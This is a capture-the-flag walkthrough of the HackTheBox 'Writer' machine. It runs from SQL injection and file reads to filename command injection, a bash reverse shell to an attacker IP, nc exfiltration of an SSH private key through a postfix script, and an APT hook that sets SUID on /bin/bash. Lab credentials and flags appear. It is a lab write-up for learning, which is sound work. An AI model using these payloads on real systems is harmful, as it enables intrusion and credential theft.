Writer
18 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.101
- Release: 31 / 07 / 2021
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.11.101 -p 22,80,139,445
Nmap scan report for 10.10.11.101
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 13m06s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 14.60 seconds
This machine has ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) open.
Enumeration
If we go to http://10.10.11.101
we will see a blog like this:
The blog contains some posts, but nothing interesting at all. We can use gobuster
to apply fuzzing and enumerate some routes:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -u http://10.10.11.101
/contact (Status: 200) [Size: 4905]
/about (Status: 200) [Size: 3522]
/static (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/logout (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/dashboard (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/administrative (Status: 200) [Size: 1443]
/server-status (Status: 403) [Size: 277]
Here we can see a route called /administrative
:
We can try some common default credentials (admin:admin
, root:password
, etc.), but none of them work.
Finding a SQL injection
The login form seen at /administrative
is vulnerable to SQL injection (SQLi). Using a simple SQLi payload (namely: ' or 1=1-- -
) we bypass authentication and enter the dashboard panel:
We can exploit SQLi to dump all the database contents. Notice that it is a Boolean-based blind SQLi (if the server responds with an error, then the SQL query has returned false
; whereas if the server ends successfully, then the SQL query has returned true
):
$ curl 10.10.11.101/administrative -sd "uname=' or 1=1-- -&password=x" | grep error
$ curl 10.10.11.101/administrative -sd "uname=' or 1=2-- -&password=x" | grep error
<p class="error" style="color:red"><strong style="color:red">Error:</strong> Incorrect credentials supplied </p>
Using this fact, we can dump the contents of the database character by character, so that we iterate over the printable ASCII characters until we find the correct one for a given position of a given field. That’s why it is recommended to use an automated script or a tool like sqlmap
to extract all the data easily.
Exploiting the SQLi with a custom Python script called sqli.py
that uses Binary Search, we can enumerate some fields of the tables of the database (detailed explanation here).
Here there are some contents in JSON format (table stories
and columns ganalitics
and date_created
where excluded because they contain a lot of useless data):
$ python3 sqli.py
Version: 10.3.29-MariaDB-0ubuntu0.20.04.1
{
"writer": {
"site": {
"id": [
"1"
],
"title": [
"Story Bank"
],
"description": [
"This is a site where I publish my own and others stories"
],
"logo": [
"/img/logo.png"
],
"favicon": [
"/img/favicon.ico"
],
"ganalytics": []
},
"stories": {},
"users": {
"id": [
"1"
],
"username": [
"admin"
],
"password": [
"118e48794631a9612484ca8b55f622d0"
],
"email": [
"admin@writer.htb"
],
"status": [
"Active"
],
"date_created": []
}
}
}
Time: 135.14384365081787 s
There is a hashed password, but it is not crackable with john
or hashcat
.
Reading files using SQLi
If we check for the granted privileges on the database, we see that we are able to read files and write files (privilege called FILE
) if we have the right permissions from the file system:
$ python3 sqli.py privileges
User: admin@localhost
{
"grantee": [
"'admin'@'localhost'"
],
"privilege_type": [
"FILE"
],
"table_catalog": [
"def"
],
"is_grantable": [
"NO"
]
}
Time: 23.135270833969116 s
As a proof of concept, we can read /etc/passwd
. This tells us that there are two low-privileged users: kyle
and john
.
$ python3 sqli.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
We could continue enumerating files from the server. It would be nice if we could read the source code of the back-end. For that, we can search for the server configuration (usually an Apache or nginx server is running).
Actually, the file /etc/apache2/sites-available/000-default.conf
exists, and here it is:
$ python3 sqli.py /etc/apache2/sites-available/000-default.conf
# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin admin@writer.htb
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Python source code analysis
The previous Apache configuration file points to the main script that the server is running, which is /var/www/writer.htb/writer.wsgi
, a common file to configure a Flask application (which is a well-known Python web framework):
$ python3 sqli.py /var/www/writer.htb/writer.wsgi
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
This Python script is importing another one from writer
. Python uses some special filenames for importing modules. Basically, the imported script is at /var/www/writer.htb/writer/__init__.py
. This is a really large script containing all the back-end logic (wait for more than 20 minutes to dump the whole file). Some methods of the following code has been stripped because of their length:
$ python3 sqli.py /var/www/writer.htb/writer/__init__.py
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
# ...
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
# ...
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
# ...
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
# ...
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
# ...
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
This large script contains the following password: ToughPasswordToCrack
.
SMB enumeration
At first glance, we have the password to connect to MySQL (ToughPasswordToCrack
) as user writer
. However, this password is reused for the user kyle
in SMB:
$ smbmap -H 10.10.11.101 -u kyle -p ToughPasswordToCrack --no-banner
[+] IP: 10.10.11.101:445 Name: 10.10.11.101 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
writer2_project READ, WRITE
IPC$ NO ACCESS IPC Service (writer server (Samba, Ubuntu))
As kyle
, we can read and write files into writer2_project
. Let’s download all the files:
$ smbclient -U kyle //10.10.11.101/writer2_project
Enter WORKGROUP\kyle's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Aug 2 19:46:12 2021
.. D 0 Tue Jun 22 13:55:06 2021
static D 0 Sun May 16 16:29:16 2021
staticfiles D 0 Fri Jul 9 06:59:42 2021
writer_web D 0 Wed May 19 11:26:18 2021
requirements.txt N 15 Mon Aug 2 19:46:01 2021
writerv2 D 0 Wed May 19 08:32:41 2021
manage.py N 806 Mon Aug 2 19:46:01 2021
7151096 blocks of size 1024. 1985880 blocks available
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
...
Once downloaded, we see that this is a Django project (another Python web framework). It seems that the project is not finished, but it is enough to see another MySQL user and password.
The password is obtained checking writer2_project/writer2/settings.py
for the following fragment of code:
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {
'read_default_file': '/etc/mysql/my.cnf'
}
}
}
Then we can check the file /etc/mysql/my.cnf
using the SQLi vulnerability:
$ python3 sqli.py /etc/mysql/my.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
So we have got new credentials for MySQL: djangouser:DjangoSuperPassword
.
Foothold
Inside the administration dashboard, we are able to manage the whole blog (create new stories, edit stories and even delete stories):
The form used to upload a new story is the next one:
There are two ways to upload an image for the story, one being as a file, and other being as a URL:
The difference between the last two screenshots is the story image field, the difference is very subtle.
To get access to the machine, we can check __init__.py
again. The script is doing something weird when receiving images for new stories of the blog. These are the odd lines of code:
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
These lines are present both in /dashboard/stories/add
and /dashboard/stories/edit/<id>
. As previously said, there are two ways to upload an image. One is directly from the web posting it as a file, and the other one is specifying a URL where the image is located.
The documentation for urllib.requests.urlretrieve()
says the following:
retrieve(url, filename=None, reporthook=None, data=None): Retrieves the contents of url and places it in filename. The return value is a tuple consisting of a local filename […]. If filename is not given and the URL refers to a local file, the input filename is returned. If the URL is non-local and filename is not given, the filename is the output of
tempfile.mktemp()
with a suffix that matches the suffix of the last path component of the input URL. […].
This means that if the URL points to a local file, the filename will be exactly the name of that file. But if the file is obtained from outside, then a random name will be chosen.
The misconfiguration here is the call to os.system
with some odd user input. The idea is to upload a file whose name is something like image.jpg x;shell-command;
, in order not to break the mv
command, which needs two parameters, and then execute the shell command we want. The resulting command will be:
mv image.jpg x;shell-command; image.jpg x;shell-command;.jpg
The .jpg
extension is not a problem because the server only checks that the string ".jpg"
is included in the filename:
image_url = request.form.get('image_url')
if ".jpg" in image_url:
# ...
Next, we can try to add another image, but this time specifying a local URL (using the file://
schema), so that the file is retrieved from the machine and the filename is not changed. Then the malicious filename will be injected in the os.system
call.
So let’s build a payload and encode it in Base64 just in case:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Then create a file called fdsa.jpg x;echo <b64>|base64 -d|bash;
and upload it as a file.
Then we can try to upload another image with a URL like file:///var/www/writer.htb/writer/static/img/fdsa.jpg x;echo <b64>|base64 -d|bash;
. The use of file://
is the schema required to specify a local file as a URL.
Using a nc
listener, we gain access to the machine as www-data
.
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.101.
Ncat: Connection from 10.10.11.101:50598.
bash: cannot set terminal process group (1076): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@writer:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@writer:/$ export TERM=xterm
www-data@writer:/$ export SHELL=bash
www-data@writer:/$ stty rows 50 columns 158
All the foothold process is automated in a Python script called foothold.py
(detailed explanation here).
System enumeration
We can now recall that we found another user for MySQL (djangouser:DjangoSuperPassword
). And actually with this one we can find another hashed password:
www-data@writer:/$ mysql --user=djangouser --password=DjangoSuperPassword
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 11738
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev |
+----------------------------+
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| django_admin_log |
| django_content_type |
| django_migrations |
| django_session |
+----------------------------+
10 rows in set (0.000 sec)
MariaDB [dev]> describe auth_user;
+--------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+--------------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| password | varchar(128) | NO | | NULL | |
| last_login | datetime(6) | YES | | NULL | |
| is_superuser | tinyint(1) | NO | | NULL | |
| username | varchar(150) | NO | UNI | NULL | |
| first_name | varchar(150) | NO | | NULL | |
| last_name | varchar(150) | NO | | NULL | |
| email | varchar(254) | NO | | NULL | |
| is_staff | tinyint(1) | NO | | NULL | |
| is_active | tinyint(1) | NO | | NULL | |
| date_joined | datetime(6) | NO | | NULL | |
+--------------+--------------+------+-----+---------+----------------+
11 rows in set (0.002 sec)
MariaDB [dev]> select username, password from auth_user;
+----------+------------------------------------------------------------------------------------------+
| username | password |
+----------+------------------------------------------------------------------------------------------+
| kyle | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)
This time the hash is crackable with hashcat
, and returns the password for user kyle
(marcoantonio
):
$ hashcat --example-hashes | grep -C 2 pbkdf2_sha256
MODE: 10000
TYPE: Django (PBKDF2-SHA256)
HASH: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
PASS: hashcat
$ hashcat -m 10000 hash $WORDLISTS/rockyou.txt --quiet
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
Lateral movement to user john
Now we can access as kyle
via SSH. We have got user.txt
:
$ ssh kyle@10.10.11.101
kyle@10.10.11.101's password:
kyle@writer:~$ cat user.txt
2f1aa903cb62c07380d1d452ef397cf1
We can notice that kyle
belongs to the filter
group. As a member of that group, we are able to read and write to a shell script called /etc/postfix/disclaimer
:
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ find / -group filter 2>/dev/null
/etc/postfix/disclaimer
/var/spool/filter
kyle@writer:~$ find / -group filter 2>/dev/null | xargs ls -la
-rwxrwxr-x 1 root filter 1021 Nov 28 20:20 /etc/postfix/disclaimer
/var/spool/filter:
total 8
drwxr-x--- 2 filter filter 4096 May 13 2021 .
drwxr-xr-x 7 root root 4096 May 18 2021 ..
The script /etc/postfix/disclaimer
is the following one:
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15
# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }
cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
/usr/bin/altermime --input=in.$$ \
--disclaimer=/etc/postfix/disclaimer.txt \
--disclaimer-html=/etc/postfix/disclaimer.txt \
--xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
{ echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$
exit $?
What the script is doing is append a disclaimer to every email that is sent from root@writer.htb
and kyle@writer.htb
, as told below:
kyle@writer:~$ cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb
kyle@writer:~$ cat /etc/postfix/disclaimer.txt
--
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately
by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified
that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.
Writer.HTB
So we can guess that the script is executed whenever an SMTP email is sent. We can actually modify the script because we are in group filter
.
After noticing that john
has a .ssh
directory, we can simply transfer his private key to our machine using nc 10.10.17.44 4444 < /home/john/.ssh/id_rsa
and putting the command on top of the /etc/postfix/disclaimer
script.
To trigger the execution of the script, we must send an email. For that, we can use a simple Python script like this one (found here):
#!/usr/bin/python3
import smtplib
sender = 'kyle@writer.htb'
receivers = ['john@writer.htb']
message = '''
From: Kyle <kyle@writer.htb>
To: John <john@writer.htb>
Subject: SMTP e-mail test
This is a test e-mail message.
'''[1:]
try:
smtp_object = smtplib.SMTP('localhost')
smtp_object.sendmail(sender, receivers, message)
print('Successfully sent email')
except smtplib.SMTPException:
print('Error: unable to send email')
And we get the private key so that we have access as john
:
$ nc -nlvp 4444 > id_rsa
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.101.
Ncat: Connection from 10.10.11.101:38630.
^C
$ chmod 600 id_rsa
$ ssh -i id_rsa john@10.10.11.101
john@writer:~$
Privilege escalation
If we list processes with ps
, we can see a Cron task executed as root
that does an apt-get update
:
john@writer:~$ ps -faux | grep root
...
root 31467 0.0 0.0 8356 3400 ? S 19:52 0:00 _ /usr/sbin/CRON -f
root 31475 0.0 0.0 2608 608 ? Ss 19:52 0:00 _ /bin/sh -c /usr/bin/apt-get update
root 31479 0.1 0.2 16204 8524 ? S 19:52 0:00 _ /usr/bin/apt-get update
...
Again, we can check if we belong to any group, and it turns out that we are part of management
, whose members are able to write at /etc/apt/apt.conf.d
:
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
john@writer:~$ cat /etc/apt/apt.conf.d/* | grep APT::
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Download-Upgradeable-Packages "0";
APT::Periodic::AutocleanInterval "0";
APT::Update::Post-Invoke-Success {"touch /var/lib/apt/periodic/update-success-stamp 2>/dev/null || true";};
APT::Archives::MaxAge "30";
APT::Archives::MinAge "2";
APT::Archives::MaxSize "500";
APT::Update::Post-Invoke-Success {
APT::Update::Post-Invoke-Success {
APT::Update::Post-Invoke-Success {"/usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true";};
After checking the default files at that directory and searching for apt-get
in GTFOBins, we can build a command to be triggered before the apt-get update
. For example, let’s set SUID permissions to /bin/bash
:
john@writer:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
john@writer:~$ echo 'APT::Update::Pre-Invoke {"chmod 4755 /bin/bash";};' > /etc/apt/apt.conf.d/01asdf
And after around a minute we have:
john@writer:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
john@writer:~$ bash -p
bash-5.0# cat /root/root.txt
f7e5f21393414b3bb227ee32fdae67a